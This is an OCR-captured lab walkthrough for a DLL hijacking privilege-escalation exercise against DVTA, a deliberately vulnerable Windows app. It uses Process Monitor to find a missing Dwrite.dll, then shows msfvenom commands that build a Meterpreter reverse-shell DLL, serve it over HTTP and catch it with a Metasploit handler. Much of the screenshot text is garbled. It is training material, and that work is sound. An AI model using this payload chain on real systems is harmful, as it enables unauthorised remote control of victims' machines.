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Name DLL Hijacking: DVTA

URL https://attackdefense.com/challengedetails?cid=2104

Type Windows Security: Privilege Escalation: DLL Hijacking

Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

Application Analysis

Step 1: Switch to Target Machine for analysis of the vulnerable application.

Kali Machine Attacker Machine Target Machine

Recycle Bin

Procmonid
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https://attackdefense.com/challengedetails?cid=2104

A vulnerable application DVTA and process monitor application for analysis provided to you.

Note: We are using this machine only for analysis purposes.
Step 2: Run process monitoring application.
Process Monitor Tool:

Process Monitor

“Process Monitor is a free tool from Windows Sysinternals, part of the Microsoft TechNet
website. The tool monitors and displays in real-time all file system activity on a Microsoft
Windows or Unix-like operating system. It combines two older tools, FileMon and RegMon and
is used in system administration, computer forensics, and application debugging.”

Source: https://en.wikipedia.org/wiki/Process Monitor

Kali Machine  Attacker Machine  Target Machine

27 Process Monitor - Sysinternals: www.sysinternals.com =3 x
File Edit Event Filter Tools Options Help
FEH AR TAR E A8 AW

Time of Day Process N...  PID Operation Path Result  Detail -
8:51:00.1693422 AM ~Explorer.E... 4928 BQueryNamelnformationF...C:\Users\AdministratoriDesktop\Procmon64.exe SUCCE... Name: \...
8:51:00.1695973 AM ~Explorer.E... 4928 B-CreateFile C:\Users\Administrator\Desktop\Procmon64.exe SUCCE... Desired ..
8:51:00.1696744 AM ~Explorer.E... 4928 BQueryBasiclnformationF... C:\Users\AdministratoriDeskiop\Procmon64.exe SUCCE... Creation...
8:51:00.1696932 AM ~Explorer.E... 4828 B.CloseFile C:\Users\Administrator\Desktop\Procmon64.exe SUCCE...
8:51:00.1697488 AM ~Explorer.E... 4928 B-CreateFile cA SUCCE... Desired ...
8:51:00.1697749 AM ~Explorer.E... 4928 B.QueryDirectory CAUsers SUCCE... Filter: U...
8:51:00.1698147 AM nExplorer.E... 4928 B.CloseFile CA SUCCE...
8:51:00.1699354 AM ~Explorer.E... 4928 B.CreateFile C:\Users\Administrator SUCCE... Desired ...
8:51:00.1699578 AM ~Explorer.E... 4928 B.QueryDirectory C:\Users\AdministratoriDesktop SUCCE... Filter: D...
8:51:00.1699821 AM ~Explorer.E... 4928 B.CloseFile C:AUsers\Administrator SUCCE...
8:51:00.1700335 AM ~Explorer.E... 4928 #iRegQueryKey HKCU\Software\Classes SUCCE... Query: ...
8:51:00.1700539 AM ~Explorer.E... 4828 #RegQueryKey HKCU\Software\Classes SUCCE... Query: ...
8:51:00.1700637 AM ~Explorer.E... 4828 #RegQueryKey HKCU\Software\Classes SUCCE... Query: ...
8:51:00.1700779 AM ~Explorer.E... 4928 #RegOpenKey HKCU\Software\Classes\CLSIDY{56AD4C5D-B908-4F85-8FF 1-7940C29B3BCF}iInstance NAME N...Desired
8:51:00.1700963 AM ~Explorer.E... 4928 #RegOpenKey HKCR\CLSID\{56AD4C5D-B908-4F85-8FF 1-7940C29B3BCF}\Instance NAME N...Desired ...
8:51:00.1702441 AM ~Explorer.E... 4928 BQueryNamelnformationF...C:\Users\AdministratoriDesktop\Procmoné4.exe SUCCE... Name: \...
8:51:00.1704326 AM ~Explorer.E... 4928 B.CreateFile C:\Users\AdministratoriDesktop\Procmon64.exe SUCCE... Desired ...
8:51:00.1704516 AM ~Explorer E... 4928 B-QueryBasicinformationF ... C:\Users\Administrator\Desktop\Procmon64 exe SUCCE... Creation...
8:51:00.1704618 AM ~Explorer.E... 4928 B.CloseFile C:\Users\AdministratoriDesktop\Procmon64.exe SUCCE...
8:51:00.1704980 AM ~Explorer.E... 4928 BCreateFile cA SUCCE... Desired ...
8:51:00.1705156 AM ~Explorer.E... 4928 B.QueryDirectory C:\Users SUCCE... Filter: U_..
8:51:00.1705386 AM ~Explorer.E... 4928 BCloseFile cA SUCCE...
8:51:00.1706327 AM ~Explorer.E... 4928 B-CreateFile Ci\Users\Administrator SUCCE... Desired ...
8:51:00.1706517 AM ~Explorer.E... 4928 BQueryDirectory C:\Users\AdministratoriDesktop SUCCE... Filter: D...
8:51:00.1706725 AM ~Explorer.E... 4928 B.CloseFile C:\Users\Administrator SUCCE...
8:51:00.1707567 AM ~Explorer.E... 4928 #RegQueryKey HKCU\Software\Classes SUCCE... Query: ..
8:51:00.1708033 AM ~Explorer.E... 4928 &RegQueryKey HKCU\Software\Classes SUCCE... Query: ...
8:51:00.1708159 AM ~Explorer.E... 4928 #RegQueryKey HKCU\Software\Classes SUCCE... Query: ...

Showing 38,646 of 225,677 events (17 Backed by virtual memary

We can notice, all the running processes are captured by the tool. We could also monitor the
running process behavior.
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https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
https://en.wikipedia.org/wiki/Process_Monitor

If we run a program then the tool would show all the operations performed by that program. i.e
Registry, DLL, ReadFile, CloseFile, CreateFile, Queries, etc, therefore this becomes quite easy
to detect a missing DLL and application behavior. An attacker can plant a malicious DLL to a
missed location if he has the writing permission.

Step 3: Applying a “CreateFile” filter to see all the missing files.

Note: Randomly pick any “CreateFile” operation and apply the filter as shown below.

Right-click on “CreateFile” — Include ‘CreateFile’

&¥ Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

FRHABE|( A E M5 |(HE LM

Time of Day Process N...
9:07:50.6781440 AM
9:07:50.6783595 AM
9:07:50.6783752 AM
9:07:50.6783787 AM
9:07:50.6783891 AM
9:07:50.6783985 AM
9:07:50.6784045 AM
9:07:50.6784146 AM
9:07:50.6784279 AM |
9:07:50.6784630 AM
9:07:50.6784829 AM
9:07:50.6785104 AM
9:07:50.6785275 AM
9:07:50.6786105 AM
9:07:50.6786337 AM
9:07:50.6786570 AM
9:07:50.6787056 AM
9:07:50.6787234 AM
9:07:50.6787333 AM
9:07:50.6787432 AM
9:07:50.6787474 AM
9:07:50.6787577 AM
9:07:50.6787672 AM
9:07:50.6787817 AM
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mExplorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...
nExplorer.E...
Explorer.E...

. 4928 £!CreateFile
~Explorer.E...
~Explorer.E...
nExplorer.E...
~Explorer.E...
nExplorer.E...
~Explorer.E...
nExplorer.E...
‘mExplorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...
~Explorer.E...

PID Operation
4928 B\QueryNamelnformationF ...
4928 @RegQueryKey
4928 B\CreateFile
4928 #RegQueryKey
4928 &RegQueryKey
4928 B-QueryBasiclnformationF...
4928 #RegOpenKey
4928 B\CloseFile
4928 #RegOpenKey

4928 B\QueryDir  Properties...

4928 BCloseFile ~ Stack-

4928 B-QueryNa I:?ngleTsmkmark
4928 BCreateFil o omiine.
4928 B\QueryDir

4928 BCloseFile Exclude ‘CreateFile’
4928 #RegQuer  Highlight ‘CreateFi
4928 #RegQuer  Copy ‘CreateFile’
4928 dRegQuer Edit Filter ‘CreateFile’
4928 ﬁRegQuef Exclude Events Before
4928 dRegOper Exclude Events After
4928 #RegOper  Include

4928 #RegOper  Exdlude

4928 #RegQuer  Highlight

Path
C:\Users\Administrator\Desktop\Procmon64.exs
HKCU\Software\Classes
C:\Users\Administrator\Desktop\Procmon64.exe
HKCU\Software\Classes
HKCU\Software\Classes
C:\Users\Administrator\Desktop\Procmon64.exe
HKCU\Software\Classes\CLSID\{56AD4C5D-B9(
C:\Users\Administrator\Desktop\Procmon64.exe
HKCR\CLSID{56AD4C5D-B908-4F85-8FF1-794

Ctrl+P
Ctrl+K
Ctrl+B

Ctrl+J

inistrator\Desktop\Procmon64.exe
rinistrator
iinistrator\Desktop
rinistrator
e ire\Classes
ire\Classes
ire\Classes
ire\Microsoft\Windows\CurrentVers
ire\Classes\CLSID\{56 AD4C5D-B9(
» ire\MicrosofttWindows\CurrentVers
> {56AD4C5D-B908-4F85-8FF1-794
» ire\Microsoft\Windows\CurrentVers
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Path Result

C:\Users\Administrator\AppData\Local NAME COLLISION
C:\Users\Administrator\AppData\Local SUCCESS
C:\Users\Administrator\AppData\Lccal\MicrosoftWindows\Explorer NAME COLLISION

C:\Users\Administrator\AppData\Local\Microsoftt Windows\ExplorericonCacheToDelete  NAME NOT FOUND
C:\Users\Administrator\AppData\Local\MicrosoftWindows\Explorerliconcache_idx.db ~ SUCCESS

C:\Users\Administrator\AppData\Roaming\Microsoftinternet Explorer\Quick Launch\Us... SUCCESS

C:\Users\Administrator\Desktop SUCCESS
C:\Users\Administrator\AppData\Roaming\Microsoftiinternet Explorer\Quick Launch\Us... SUCCESS
C:\Users\Public\Desktop SUCCESS
C:\Users\Administrator\AppData\Local\Microsoft Windows\Explorerliconcache_16.db SUCCESS
C:\Users\Administrator\AppData\Local\MicrosoftWindows\Explorer SUCCESS
C:\Users\Administrator\AppData\Local\MicrosoftWindows\Explorerliconcache_48.db SUCCESS
C:\Windows\System32\imageres.dll SUCCESS
C:\Windows\System32\imageres.dll SUCCESS
C:\Windows\System32\imageres.dll SUCCESS
C:\Windows\System32\imageres.dll SUCCESS
C:\Windows\System32\en-US\imageres.dll.mui SUCCESS
C:\Users\Administrator NAME COLLISION
C:\Users\Administrator SUCCESS
C:\Users\Administrator\AppData\Local NAME COLLISION
C:\Users\Administrator\AppData\Local SUCCESS
C:\Users\Administrator\AppData\Local\MicrosoftWindows\Explorer NAME COLLISION

C:\Users\Administrator\AppData\Local\MicrosoftWindows\ExplorerllconCacheToDelete  NAME NOT FOUND
C:\Users\Administrator\AppData\Local\MicrosoftWindows\Explorerliconcache idx.db ~ SUCCESS
C:\Users\Administrator\AppData\Local\Microsoftt Windows\Exploreriiconcache_16.db SUCCESS

C:\Users\Administrator\AppData\Local\MicrosoftWindows\Explorer SUCCESS
C:\Users\Administrator\AppData\Local\MicrosoftWindows\Explorerliconcache_48.db SUCCESS
C:\Users\Administrator\AppData\Lccal\MicrosoftWindows\Explorer SUCCESS
C:\Users\Administrator SUCCESS

We can notice in the “Result” column that there are multiple results shown for each operation
along with the path location. This makes the job easier to identify the missing file. It is showing
‘“NAME NOT FOUND” means the path which is mentioned in the same row is missing.

In this challenge, we are going to identify the missing DLLs of the provided application and
generate a malicious DLL then putting it in right place causes a vulnerable application to load

that malicious DLL.

Step 4: We need to make sure that where we are putting a malicious DLL we have the privilege
to write in that folder. Verifying if we have the permission to write the DLL to the DVTA directory.

Command: Get-ACL 'C:\Users\Administrator\Desktop\dvta\bin\Release' | Format-List
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EX Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

> C:\Users\student> Get-ACL

PS

{2

BUILTIN\Administrators Allow FullControl
PRIVILEGE-ESCAL\Administrator Allow FullControl
PRIVILEGE-ESCAL\student Allow FullControl

NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
PRIVILEGE-ESCAL\Administrator Allow FullControl

: 0:BAG:5-1-5-21-419124378-3 0 37789 -513D:AI(A;0ICI;F
;OICIID; FA;;;LA)

\Users\student> _

| Format-lList

: Microsoft.PowerShell.Core\FileSystem: :C:\Users\Administrator\Desktop\dvta\bin\Release
: BUILTIN\Administrators

: PRIVILEGE-ESCAL\None

: NT AUTHORITY\SYSTEM Allow FullControl

(A;0ICI;FA;;;BA)(A;0ICI;FA;;

LA) (A;0ICIID;F

Note: Restart the process monitoring application before running the vulnerable application.

Step 4: Running DVTA application.

Application: C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
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| + | Release

€ v

# Quick access
B Desktop
@ Documents
; Downloads
[&] Pictures

£ This PC

Q Metwork

Share View

» dvta » bin » Release

m Login
MName
DBAccess.dll
D DBAccess.pdb
L] DVTA

D DVTA.exe.config Usemame
[ ovTa.pdb

[55 DVTA.vshost

D DVTA.vshost.exe,
D DVTAvshost.exe,
EntityFramework
| EntityFramework|

Excellibrary.dil

LU SR

Password

Login Here:

| —
I

[ on

| Dont have an accourt yet? Register Here

The vulnerable application is running. Filter the running process i.e DVTA.exe

Press: CTRL + L for process filter.

v O Search Release

B | Process Monitor Filter

ntries matching these conditions: e

Di
ProcessName v | s v | DVTA.exe] v | then |Indude |
! Reset -! e Remove
Column Relation Value Action °
M@ Process Na... is Procm... Exclude
M@ Process Na... is Procex... Exclude
A6 Dramace KNa e AvitArn Fv~hida ¥
£ >
0| ok || cancel | Apply
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£F Process Monitor - om

File Edit Event Filter Tools Options Help

[EEHARE|YAG(RB AF &3 LW

Ti... Process Name ... Operation Path Result Detail
9:... @DVTA.exe 3... BReadFile C:\Windows\SysWOW64\CoreUIComponents.dll SUCCESS Offset: 3...
9:... @MDVTA.exe 3... BReadFile C:\Windows\SysWQOW64\CoreUIComponents.dll SUCCESS Offset: 1...
9:... MDVTA exe 3... BReadFile C:\Windows\SysWOW64\CoreUIComponents.dll SUCCESS Offset: 1...
9:... @DVTA.exe 3... #RegQueryKey HKLM SUCCESS Query: ...
9:... @DVTA exe 3... #RegQueryKey HKLM SUCCESS Query: ...
9:... @DVTA.exe 3... #RegOpenKey HKLM\Software\WOW6432Node\Microsoftiinput REPARSE Desired ...
9.... @MDVTA.exe 3... #RegOpenKey HKLM\SOFTWAREMicrosoft\Input SUCCESS Desired ...
9:... IDVTA.exe 3... %RegSetinfokey =~ HKLM\SOFTWARE\Microsoft\Input SUCCESS KeySetl...
9:... MDVTA.exe 3... #RegQueryValue HKLM\SOFTWARE\Microsoft\input\ResyncResetTime NAME NOT FOUND Length: ...
9:... @DVTA exe 3... #RegQueryValue HKLM\SOFTWARE\MicrosoftiinputiMaxResyncAttempts NAME NOT FOUND Length: ...
9:... @WDVTA exe 3... ##RegCloseKey HKLM\SOFTWARE\Microsoft\input SUCCESS

9:.... MDVTA.exe 3... @ReadFile C:\Windows\SysWOW64\msctf.dll SUCCESS Offset: 4...
9:.... MDVTA.exe 3... BReadFile C:\Windows\SysWOW64\TextinputFramework.dll SUCCESS Offset: 2...
9:... MDVTA exe 3... BReadFile C:\Windows\SysWOW64\TextinputFramework.dll SUCCESS Offset: 4.
9:... @MDVTA.exe 3... BReadFile C:\Windows\SysWOW64\TextinputFramework.dll SUCCESS Offset: 2...
9:... @DVTA exe 3...BReadFile C:\Windows\SysWOW64\msctf.dll SUCCESS Offset: 3...
9:... @DVTA.exe 3...2ReadFile C:\Windows\SysWOW64\msctf.dll SUCCESS Offset: 7.
9:... @MDVTA.exe 3... BReadFile C:\Windows\SysWOW64\msctf.dll SUCCESS Offset: 7...
9:... DVTA.exe 3... ®ReadFile C:\Windows\SysWOW64\msctf.dll SUCCESS Offset: 7...
9:... @DVTA.exe 3... BReadFile C:\Windows\SysWOW64\CoreUIComponents.dll SUCCESS Offset: 3...
9:... @DVTA.exe 3... &Thread Exit SUCCESS Thread ...
9:... MDVTA exe 3... &Thread Exit SUCCESS Thread I...
9:... MDVTA.exe 3... &Thread Exit SUCCESS Thread ...
9.... @DVTA.exe 3... &Thread Exit SUCCESS Thread ...
9:... MDVTA exe 3... &Thread Exit SUCCESS Thread I...
9:... @MDVTA.exe 3... &Thread Create SUCCESS Thread I...
9:... @MDVTA.exe 3... &Thread Exit SUCCESS Thread I...
9:... MDVTA exe 3. &Thread Create SUCCESS Thread I...

We can notice, that we have filtered the application.

Uncheck “Show Registry Activity” & “Show Network Activity”

£7 Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

FEHABRER|TAS B AR XEB LM

Apply the filter “CreateFile” operation. Right-click on “CreateFile” — Include ‘CreateFile’

©PentesterAcademy.com

www.attackdefense.com




2] Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools

Options

Help

| ZHABE|AS B AS HXEB00H

;..

... =DVTA.exe
.. EIDVTA.exe
.. E@DVTA.exe
.. IDVTA.exe
.. EDVTA exe
.. IDVTA.exe
.. EEDVTA exe
.. E@DVTA.exe
.. EIDVTA.exe
.. E@DVTA.exe
.. BDVTA.exe
.. EDVTA exe
.. BDVTA.exe
.. EIDVTA exe
.. EDVTA.exe

Process Name
.. EIDVTA.exe
.. E@DVTA.exe
.. BDVTA.exe
.. EDVTA exe
.. BDVTA.exe
.. EIDVTA exe
.. EDVTA.exe

EDVTA.exe

2

... Operation
.. BReadFile
.. BReadFile
.. BCloseFile

.. BCloseFile

BReadFile
CreateF|
.. B.CreateF
.. BReadFili
.. BReadFili
.. B\ReadFils
.. BReadFili
.. B\CreateF
.. B\CreateF
.. B.CreateF
.. BCreateF
.. B:CreateF
.. B\CreateF
.. &Load Im
.. &load Im
.. B\ReadFile

.. B\CreateFile
.. B\QueryBasicinfor... C:\Windows\SysWOW64\WinTypes.dl|

Path
C:\Windows\SysWOW64\ntmarta.dll
C:\Windows\SysWOW&64\ntmarta.dll
C:\Windows\SysWOW&64\ntmarta.dll
C:\Windows\SysWOW64\WinTypes.dll

C:\Windows\SysWOW64\WinTypes.dll

.. &Thread Create

C:\Windows\SysWOW64\WinTypes.dll
i i/ s\WOW64\WinTypes.dll
ysWOWB4\WinTypes.dll
ysWOWB4\WinTypes.dll
ysWOW6E4\WinTypes.dll
ysWOWBE4\WinTypes.dll
ysWOW6E4\WinTypes.dll
ysWOWB4\WinTypes.dll
ysWOW6E4\WinTypes.dll
ysWOWB4\WinTypes.dll
ysWOWBE4H\WinTypes.dll
ysWOWB4\WinTypes.dll
» ysWOWB4\WinTypes.dll
> ysWOW6E6HWinTypes.dll
» ysWOWB4\WinTypes.dll
C:\Windows\SysWOW64\WinTypes.dll

Ctrl+P
Ctrl+K
Ctrl+B

Properties...
Stack...

Toggle Bookmark
Jump To... Ctrl+)
Search Online...

Include 'CreateFile’

Exclude 'CreateFile'

Highlight 'CreateFile’

Copy 'CreateFile'

Edit Filter 'CreateFile'

Exclude Events Before
Exclude Events After

Include

Exclude

Highlight
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£ Process Monitor - Sysintemals: www.sysintemals.com
File Edit Event Filter Tools Options Help

[EHARE AG D R HELIN

Ti... Process Name ... Operation Path Result
8:...E@DVTA. exe 3... BCreateFile C:\Windows\SysWOW64\en-US\user32.dll.mui SUCCESS
8:...EDVTA.exe 3... BCreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe.Local NAME NOT FOUND
8:...@DVTA.exe 3... BCreateFile C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.14... SUCCESS
8:...@DVTA.exe 3... BCreateFile C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df 6.0.17763.14... SUCCESS
8:...@DVTA.exe 3... BCreateFile C:\Windows\WinSxS\x86_microsoft.windows.common-controls 6595b64144ccf1df 6.0.17763.14... SUCCESS
8:....MDVTA.exe 3... BCreateFile C:\Windows\WindowsShell. Manifest SUCCESS

9:... @DVTA.exe 3... BCreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe SUCCESS

9 3... BCreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe SUCCESS

9 3... BCreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe SUCCESS

9: 3... BCreateFile C:\Users\Administrator\Desktop\dvta\bin\Release\winnlsres.dll NAME NOT FOUND
9: 3... BCreateFile C:\Windows\SysWOW64\winnlisres.dll SUCCESSs

9: 3... BCreateFile C:\Windows\SysWOW64\winnlisres.dll SUCCESsS

9: 3... BCreateFile C:\Windows\SysWOW64\en-US\winnlsres.dll.mui NAME NOT FOUND
9. 3... BCreateFile C:\Windows\System32\en-US\winnlsres.dll.mui SUCCESS

9. 3... BCreateFile C:\Windows\SysWOW64\ TextinputFramework.dll SUCCESS

o 3... BCreateFile C:\Windows\SysWOW64\ TextinputFramework.dll SUCCESS

9: 3... BCreateFile C:\Windows\SysWOW64\CoreUIComponents.dll SUCCESS

9: 3... BCreateFile C:\Windows\SysWOW64\CoreMessaging.dil SUCCESS

9:... @DVTA.exe 3... BCreateFile C:\Windows\SysWOW64\CoreUIComponents.dlil SUCCESS

9:... @DVTA.exe 3... BCreateFile C:\Windows\SysWOW64\CoreMessaging.dll SUCCESS

9:... @DVTA.exe 3... BCreateFile C:\Windows\SysWOW64\ntmarta.dll SUCCESS

9:... @DVTA.exe 3... BCreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS

9:... @DVTA.exe 3... BCreateFile C:\Windows\Sys\WOW64\ntmarta.dll SUCCESS

9:... @DVTA exe 3... BCreateFile C:\Windows\SysWOW64\WinTypes dll SUCCESS

9:... @DVTA exe 3... BCreateFile C:\Windows\SysWOW64\WinTypes. dll SUCCESS

9:... @MDVTA.exe 3... B:CreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS

9:... @DVTA exe 3... BCreateFile C:\Windows\SysWOW64\WinTypes.dll SUCCESS

B: 3... fiCreateFile C:\Windows\SysWOW64\WinTypes._dll SUCCESS

Now, apply the filter for “Result’ to “NAME NOT FOUND”.

Right-click on “NAME NOT FOUND” — Include ‘NAME NOT FOUND’
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Path

C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA exe

C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe:Zone.ldentifier
C:\Users\Administrator\Desktop\dvtalbin\Release
C:\Users\Administrator\Desktop\dvia'bin\Release
C:\Users\Administrator\Desktop\dvta'bin\Release
C:\Users\Administrator\Desktop\dvta\bin\Release
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvia\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvia\bin\Release\DVTA.exe
C:\Users\Administrator\Desktop\dvta\bin\Release

:5.. @DVTAe...
.. mExplore...
.. mExplore...
EDVTAe..
:5.. @MDVTAe...
:5.. @DVTAe...
5. EDVTAe..
:5.. @DVTAe...
:5.. @DVTAe...
:5... @WDVTAe..

... @DVTAe...
5. MDVTAe...
:5.. @DVTAe...
EDVTAe...
:5.. @DVTAe...
:5.. @MDVTAe...
:5.. @DVTAe...

... @DVTAe...

... @DVTAe...

I e O e N O N N I O S O

.. BCreateFile
... BCreateFile
.. BCreateFile
... BCreateFile
... #CreateFile
.. BCreateFile
.. BhCreateFile
... BCreateFile
.. BCreateFile
.. B.CreateFile
... BCreateFile
.. BCreateFile
.. B.CreateFile
.. BCreateFile
.. BCreateFile
.. BCreateFile
... BCreateFile
... #CreateFile
.. BCreateFile

C:\Windows\System32\wow64log.dll

C:\Users\Administrator\Desktop!%1

C:\Users\Public\Desktop\%1

C:\Windows\SysWOW64\MSCOREE.DLL.local
C:\Windows\SysWOW64\MSCOREE.DLL.local

C:\Windows\Microsoft NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft NE T\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft NET\Frameworkiv1.1.4322\clr dIl
C:\Windows\Microsoft NET\Frameworkiv1.1.4322\mscorwks.dll
C:\Windows\Microsoft NET\Framework\v2.0.50727\clr.dll
C:\Users\Administrator\Desktop'dvta\bin\Release\VERSION. dll
C:\Windows\Microsoft NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\Microsoft. NET\Framework\v4.0.3031%\mscoree.dll
C:\Windows!\Microsoft NET\Framework\v4.0.30319\fusion localgac
C:\Windows\Microsoft NET\Framework\v4.0.3031S\ole32.dll
C:\Windows\SysWOW64\rpcss.dll

C:\Windows\Microsoft NET\Framework\v4.0.30319\api-ms-win-core-winrt-11-1-0.dll
C:\Windowslassembly\Nativelmages v4.0.30318 32\DVTA
C:\Windows\assembly\Nativelmages v4.0.30319_32\DVTA

Result Detail
SUCCESS Desired A...
SUCCESS Desired A...
! Properties... Ctri+P
1 Stack Ctrl+K
| ToggleBookmark Chl+B
1 Jump To.. Ctrl+)

! Search Online...

1

1 Include 'NAME NOT FOUND*

: Exclude 'NAME NOT FOUND'

! Highlight 'NAME NOT FOUND'

L Copy 'NAME NOT FOUND*

b Edit Filter 'NAME NOT FOUND'

! Exclude Events Before

b Exclude Events After

! Include >

L Exclude H

1 Highlight >
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...
NAME NOT FOUND  Desired A...

NAME NOT FOUND

We can observe that we can only see the result based on “Name Not Found”. Now to target the
DVTA.exe program search for a missing DLL.

Filtering the Application path.

Press: CTRL + L

Path: C:\Users\Administrator\Desktop\dvta\bin\Release\
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B Process Monitor Filter 4
entries matchi nditions;
|Path V||begn3mﬂ'; v||E:"users‘|Administrator‘|Desktop v|ti'1en Emdude vi
i Reset _! ol Add |i Remove !
Column Relation Value Action °
M@ Process Na... is DVTA.... Include
M@ Operation is Create... Include
HiaPaciilt ic MAKME Inmlhiida ¥
£ >
el | cocd | [ newy |
We can observe that Dwrite.dll is missing.

Missing DLL: C:\Users\Administrato

ZF Provess Monies - Srremiemals wies srsinbsmal oo

r\Desktop\dvta\bin\Release\Dwrite.dll

Result Detail
MNAME NOT FOUND Desirad ..,

NAME NOT FOUND Desired ...

MHAME NOT FOUND Desired ...

Fia Edd Fooei Rk Toohh Opsios Haele

FE ARG TAS DAY 22420
| Ti... Process Mame 2., Operation Path
. 8. BOVTA exe 3, BCreateFile CUsers\AdministratoriDeskiop\dviaibin'Releasa\ VERSION dil
| 8:... BOVTA. exe 3... BCreateFile ClUsers\AdministralonDesktopidvia\bin'Release\DVTAINI
| 8. EDNTA exe 3... ACreateFile CUsers\Administrator\Deskiop\dvia\bin'Releass\DVTA exe Local NAME NOT FOUND Desired ..,
| 8. BOVTA axe 3... RCreateFila CWsers\AdministratonDeskiop\dviaibin'\Release\DVT A exe. Local NAME NOT FOUND Desired ..,
| 8:... BOVTA exe 3... ACreateFile Clisers\AdministratorDeskiop\dvia\bin'Release \DWrite dil
| 8 EOVTA axe 3... BCreateFile CUsers\AdministratonDesktop\dviaibin|Releass\DVTA exe Local NAME NOT FOUND Desired ...
| 8:... BDVTA exe 3... BCreateFile Clsers\AdministratoriDeskiop\dvia\bin'\Releassiwinnisres.dll

NAME NOT FOUND Desired ...

Now, we could take advantage of this by planting a malicious Dwrite.dll to the
“C:\Users\Administrator\Desktop\dvta\bin\Release” folder.
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Exploiting Application

Note: There would be more than one missing DLL’s, not all would work. It is dependent on the
application behavior.

Switch to the Kali Machine

Step 1: We have the information that Dwrite.dll is missing. We could generate a malicious DLL
using the Metasploit framework to exploit the application.

Checking the IP address.

Command: ifconfig eth1

root@attackdefense:~# ifconfig ethl
ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.0.2 netmask 255.255.255.0 broadcast 10.10.0.255
ether 02:42:0a:0a:00:02 txqueuelen 0 (Ethernet)
RX packets 15 bytes 1170 (1.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0O
TX packets 0 bytes 0 (0.0 B)
TX errors © dropped 0 overruns 0 carrier 0 collisions 0O

root@attackdefense:~# |j

Step 2: Generating malicious DLL

Command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.2 LPORT=4444 -f
dll > Dwrite.dll
file Dwrite.dll

I
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root@attackdefense:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.2 LPORT=4444 -f dll > Dwrite.dll

[-]1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 341 bhytes

Final size of dll file: 5120 bytes

root@attackdefense:~#

root@attackdefense:~# file Dwrite.dll

Dwrite.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
root@attackdefense:~# I

Step 3: Start Python Simple HTTP server to serve the malicious DLL file.
Command: python -m SimpleHTTPServer 80

root@attackdefense:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80

Also, we need to start Metasploit multi handler for a meterpreter session.
Step 4: Running Multi handler.

Commands:

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.0.2

set LPORT 4444

exploit
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root@attackdefense:~# msfconsole -qg
msf5 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
msf5 exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit( ) > set LHOST 10.10.0.2

LHOST => 10.10.0.2
msf5 exploit( ) > set LPORT 4444

LPORT => 4444
msf5 exploit( ) > exploit

Started reverse TCP handler on 10.10.0.2:4444

Switch to the Attacker Machine (student)

Step 1: See if we could access the DVTA application from the attacker machine.

Path: C:\Users\Administrator\Desktop\dvta\bin\Release
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« v

7+ Quick access
[ Desktop
Documents
* Downloads
[&=] Pictures

= This PC

[_ﬂ' MNetwork

The Binary is located in bin\Release\DVTA.exe

+ | dvta

Share

Wiew

» ThisPC » Local Disk(C:) » Users » Administrator » Desktop » dvta

% % N %

s
Name

 bin
DB
. DBAccess
obj

| packages

| Properties
